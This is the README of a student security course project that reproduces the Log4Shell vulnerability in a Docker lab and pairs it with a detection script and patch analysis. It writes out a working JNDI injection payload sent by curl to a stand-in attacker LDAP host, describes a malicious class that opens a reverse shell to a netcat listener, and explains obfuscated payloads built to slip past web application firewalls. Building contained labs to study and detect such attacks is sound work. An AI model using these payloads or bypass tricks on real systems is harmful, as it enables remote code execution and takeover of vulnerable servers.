CS 4277 Final Project - Connor Brugger, Kaleb Tafesse, Daniel Han
Dockerized setup that reproduces the Log4Shell vulnerability and demonstrates RCE through JNDI injection. Everything runs with docker compose up.
Exploit Script Attacker Listener
(host machine) (Container 4)
| nc -lv -p 9999
| HTTP request with ^
| ${jndi:ldap://...} | reverse shell
v |
Victim App LDAP query Attacker LDAP
(Container 1) -------------> (Container 2)
Java 8 + Log4j <----------- marshalsec:1389
2.14.1 :8080 "load class
| from HTTP"
| HTTP GET
v
Attacker HTTP
(Container 3)
Exploit.class
:8888
- We send a request to the victim with
${jndi:ldap://attacker-ldap:1389/Exploit}in a logged field (User-Agent, search box, etc) - Log4j 2.14.1 sees the
${jndi:...}in the log message and does a JNDI lookup - Victim's JVM connects to our LDAP server
- LDAP server (marshalsec) tells it to fetch
Exploit.classfrom our HTTP server - Victim loads the class, static initializer runs automatically
- RCE - proof file created + reverse shell opened
Need Docker and Docker Compose on a Linux VM.
cd CS4277Project
sudo docker compose up --build -dFirst build takes about a minute (maven downloads).
cd exploit
chmod +x run_exploit.sh
./run_exploit.shor with python:
python3 exploit.pyor just manually:
curl -H 'User-Agent: ${jndi:ldap://attacker-ldap:1389/Exploit}' http://localhost:8080/# proof file - if this exists, code execution worked
sudo docker exec log4j-victim cat /tmp/pwned.txtThe reverse shell connects from the victim to the listener container. It doesnt automatically drop you into a terminal - you have to attach to the listener:
sudo docker attach log4j-listenerHit Enter once attached. You can run commands on the victim (whoami, hostname, ls /, etc). To detach without killing the shell press Ctrl+P then Ctrl+Q.
If the shell didnt connect (timing issue - exploit fires before listener is ready), just re-run the curl command and attach again. The proof file confirms RCE either way.
sudo docker logs log4j-victimShows the log4j messages with the JNDI payloads from the victim side.
cd detection
python3 log4shell_detector.py sample_attack.logFlags Log4Shell payloads in log files, including obfuscated ones. You can also point it at the actual victim logs:
sudo docker logs log4j-victim > /tmp/victim.log 2>&1
python3 log4shell_detector.py /tmp/victim.logsudo docker compose downlog4j-exploit/
docker-compose.yml
victim-app/
Dockerfile
pom.xml # log4j 2.14.1 dependency
src/.../VulnerableApp.java # HTTP server that logs user input
src/.../log4j2.xml
attacker-ldap/
Dockerfile # marshalsec LDAP server
attacker-http/
Dockerfile
Exploit.java # malicious class (RCE payload)
attacker-listener/
Dockerfile # netcat listener for reverse shell
exploit/
run_exploit.sh
exploit.py
obfuscated_payloads.txt # WAF bypass variants
detection/
log4shell_detector.py # detects obfuscated payloads in logs
sample_attack.log
report/
class_loading_chain.md
patch_analysis.md
See exploit/obfuscated_payloads.txt. These all do the same thing as the basic payload but use log4j's recursive ${...} parsing to break up keywords so WAFs cant match them. For example ${${lower:j}ndi:...} resolves ${lower:j} to "j" first, then the whole thing becomes ${jndi:...}.
victim wont start - check docker logs log4j-victim. Maven needs internet for the first build to download dependencies.
exploit doesnt trigger - make sure youre on Java 8. Check with docker exec log4j-victim java -version. The Dockerfile sets trustURLCodebase=true explicitly.
reverse shell wont connect - timing issue, listener wasnt ready when the exploit fired. Run the curl command again and re-attach. The proof file (/tmp/pwned.txt) still shows RCE worked.
maven build fails - needs internet access for the first build. Make sure your VM has network access.
- marshalsec (Moritz Bechler) - LDAP/JNDI reference server
- Apache Log4j 2.14.1 - vulnerable version
Claude (Anthropic) helped with debugging Docker networking between containers, understanding how marshalsec's LDAP referral response format works, and writing the patch analysis sections (we provided the source diffs and it helped explain what each change did). It also helped clean up the report writeups. All Docker configuration, exploit code, vulnerable app code, and the detection tool were written by us.